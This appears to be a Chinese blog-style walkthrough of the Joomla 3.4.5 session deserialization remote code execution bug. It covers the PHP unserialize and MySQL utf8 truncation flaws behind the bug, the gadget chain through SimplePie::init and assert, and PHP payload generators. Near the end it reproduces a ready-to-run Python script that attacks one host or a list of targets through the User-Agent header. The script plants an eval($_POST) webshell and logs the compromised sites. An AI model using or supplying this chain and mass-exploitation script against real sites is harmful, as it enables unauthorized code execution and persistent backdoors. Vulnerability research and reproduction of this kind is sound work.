准备
Joomla3.4.5的源码可以在下面的链接中下载到:
Joomla 3.4.5源码
然后phpstudy建一下复现环境即可。要求php版本<5.6.13,原因如下:
在php>=5.6.13版本中修复此问题,5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session。
然后直接访问网页,创建网站,创建数据库即可,环境即搭建成功。
使用vulhub同样可以:
vulhub:joomla3.4.5反序列化
我觉得一个大师傅说的很好:
整个漏洞可以拆为一个php漏洞、一个mysql漏洞、joomla本身对useragent处理的漏洞来看待。
1.mysql在低版本或未配置utf8mb4时处理4字节utf字符会从4字节处截断,即丢弃截断处后的字符。(在mysql 5.5.3以后 可以通过设置字段为utf8mb4来避免漏洞)
2.在低版本的php中,反序列化函数unserialize做了欠缺的异常处理。即不能正确解析需要反序列化的字符串时,会查找字符串中的下一个标识符"|",从此处分割,以标识符前段做段名,再次解析标识符后段的字符串,直到成功或返回空。(此漏洞修复版本为:4.5.45
5.5.29 5.6.13 7.x)3.joomla在对useragent处理时会将useragent作为一个session存入数据库,没有过滤引起php反序列漏洞的"|"符号。
但是在此之前,先复现一下Joomla3.4.5的这个反序列化链的构造,先把POC构造出,再想办法利用这三个漏洞进行利用。
POC
起点肯定还是__destruct()
,位于JDatabaseDriverMysqli
类:
跟进:
connection
可控,$this->disconnectHandlers
同样可控,因此回调函数可控,但是回调函数的参数不可控,因此这里考虑寻找Joomla中的类的一个可利用的方法。找到了SimplePie类的init方法:
function init()
{
// Check absolute bare minimum requirements.
if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
elseif (!extension_loaded('xmlreader'))
{
static $xml_is_sane = null;
if ($xml_is_sane === null)
{
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '<foo>&</foo>', $values);
xml_parser_free($parser_check);
$xml_is_sane = isset($values[0]['value']);
}
if (!$xml_is_sane)
{
return false;
}
}
if (isset($_GET[$this->javascript]))
{
SimplePie_Misc::output_javascript();
exit;
}
// Pass whatever was set with config options over to the sanitizer.
$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
利用call_user_func:call_user_func($this->cache_name_function, $this->feed_url)
。
可以执行任意php命令了,但是打断点看一下怎么样才能执行到这里。首先是这里:
$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);
必须有存在这两个方法的实例对象,即$this->sanitize
,看一下,SimplePie_Sanitize
类满足条件,构造一下即可。
另外一个需要注意的就是这里:
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$this->cache
可控,控一下值即可。但是$parsed_feed_url['scheme']
这里似乎没满足,看一下来源,经过了parse_url
方法,跟进一下:
再跟进一下new SimplePie_IRI
:
scheme是$this->set_scheme($parsed['scheme']);
创造了,看一下$parsed
,跟进parse_iri:
function parse_iri($iri)
{
preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match);
for ($i = count($match); $i <= 9; $i++)
{
$match[$i] = '';
}
return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]);
}
scheme来自$match[2]
,是第二个子组捕获到的文本,看一下这个正则,第一个子组是(([^:\/?#]+):)
,第二个子组是:([^:\/?#]+)
。
分析一下,一个字符类,^:
是不是冒号,因此基本上就是匹配一定数量非冒号,然后加上冒号就是第一个子组的匹配。最简单的构造就后面加上一个冒号即可,比如这样:
$this->cache_name_function="assert";
$this->feed_url='phpinfo();$a=":"';
即可绕过。构造一下POC:
<?php
class JSimplepieFactory {
}
class SimplePie_Sanitize{
}
class JDatabaseDriverMysqli
{
protected $a;
protected $disconnectHandlers;
protected $connection;
public function __construct(){
$this->connection=1;
$this->a=new JSimplepieFactory();
$b=new SimplePie();
$this->disconnectHandlers=array(
'1'=>array($b,'init')
);
}
}
class SimplePie
{
var $sanitize;
var $cache;
var $cache_name_function;
var $feed_url;
public function __construct(){
$this->cache_name_function="assert";
$this->sanitize=new SimplePie_Sanitize();
$this->cache=true;
$this->feed_url='phpinfo();$a=":"';
}
}
echo base64_encode(serialize(new JDatabaseDriverMysqli()));
和上面分析不同的是,还利用到了JSimplepieFactory
这个类,因为默认情况下SimplePie是没有定义的,而JSimplepieFactory
这个类中有这么一行代码:
JSimplepieFactory
对象在加载的时候会导入SimplePie。
往index.php写个利用点:
利用成功:
理清了POC之后,再看看如何利用。
POC的利用
漏洞的关键就在于Joomla处理ua头和xff头的时候,会把他们设置到session中,存储在数据库中,关键在于文件session.php的_validate()
函数,重点是这些代码:
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
..................
..................
..................
// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');
if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
}
}
继续跟进,就会发现会把ua头和xff的内容写进session中,像这样:
正常来说是利用不了的,但是对于<php5.6.13的php:
反序列化函数unserialize做了欠缺的异常处理。即不能正确解析需要反序列化的字符串时,会查找字符串中的下一个标识符"|",从此处分割,以标识符前段做段名,再次解析标识符后段的字符串,直到成功或返回空。
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
因此考虑到session反序列化的内容是可控的,可以进行恶意的插入。根据上面的图片可以看到,插入的内容的后面仍然有很多的东西,可能会造成影响,可以这样:
mysql在低版本或未配置utf8mb4时处理4字节utf字符会从4字节处截断,即丢弃截断处后的字符。(在mysql 5.5.3以后 可以通过设置字段为utf8mb4来避免漏洞)
至此,这条攻击链就比较清晰了,POC如下:
<?php
class JSimplepieFactory {
}
class SimplePie_Sanitize{
}
class JDatabaseDriverMysqli
{
protected $a;
protected $disconnectHandlers;
protected $connection;
public function __construct(){
$this->connection=1;
$this->a=new JSimplepieFactory();
$b=new SimplePie();
$this->disconnectHandlers=array(
'1'=>array($b,'init')
);
}
}
class SimplePie
{
var $sanitize;
var $cache;
var $cache_name_function;
//var $javascript;
var $feed_url;
public function __construct(){
$this->cache_name_function="assert";
$this->sanitize=new SimplePie_Sanitize();
$this->cache=true;
//$this->javascript=9999;
//$this->feed_url="phpinfo();";
//$this->feed_url="phpinfo();JFactory::getConfig();exit;";
$this->feed_url='phpinfo();$a=":"';
}
}
echo "123\"}__test|".str_replace(chr(0)."*".chr(0),'\0\0\0',serialize(new JDatabaseDriverMysqli()))."\xF0\x9D\x8C\x86";
但是把chr(0)*chr(0)
替换成\0\0\0
的原因,在于Joomla本身对于session的处理,从数据库中取出session的内容的时候,会把\0\0\0
替换成chr(0)*chr(0)
:
把得到的攻击数据放到UA头上,然后删掉cookie,进行生成新的cookie:
带上cookie再访问,发现phpinfo成功执行:
也可以利用大师傅的脚本:
#coding:utf-8
'''
author:F0rmat
vul:Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution
'''
import requests
from optparse import OptionParser
def get_url(url, user_agent):
headers = {
'User-Agent': user_agent
}
cookies = requests.get(url, headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers, cookies=cookies)
return response.content
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
print exploit_template
return exploit_template
def check(url):
response = requests.get(url)
return response.content
def exploit(Host):
turl = Host
syscmd = "file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/tmp/shell.php',base64_decode('dnZ2PD9waHAgZXZhbCgkX1BPU1Rbenp6XSk7Pz4='));"
#syscmd = 'print_r($_SERVER);'
pl = generate_payload(syscmd)
try:
get_url(turl, pl)
url = turl + '/tmp/shell.php'
if 'vvv' in check(url):
print u"成功!shell为" + turl + u"shell.php,密码为zzz"
with open("success.txt", "a+") as f:
f.write(url + ' pass:zzz' + "\n")
else:
print turl+u"失败!漏洞已修补或版本不同!"
except:
print turl+u"失败!漏洞已修补或版本不同!"
def main():
parser = OptionParser('usage %prog -H <target host> -f <target file>')
parser.add_option("-H", dest="host",type="string",help="target host e:http://xxx.com/")
parser.add_option("-f", dest="file",type="string",help="target file ")
(options, args) = parser.parse_args()
Host = options.host
file = options.file
if (Host == None):
if(file == None):
print parser.usage
exit(0)
else:
with open(file,'r') as tfile:
for fhost in tfile.readlines():
fhost=fhost.rstrip("\n")
exploit(fhost)
else:
exploit(Host)
if __name__ == '__main__':
main()
对于php版本>=5.6.13:
在php>=5.6.13版本中修复此问题,5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session。
因此对于5.6.13及以后的版本无法实现此session反序列化。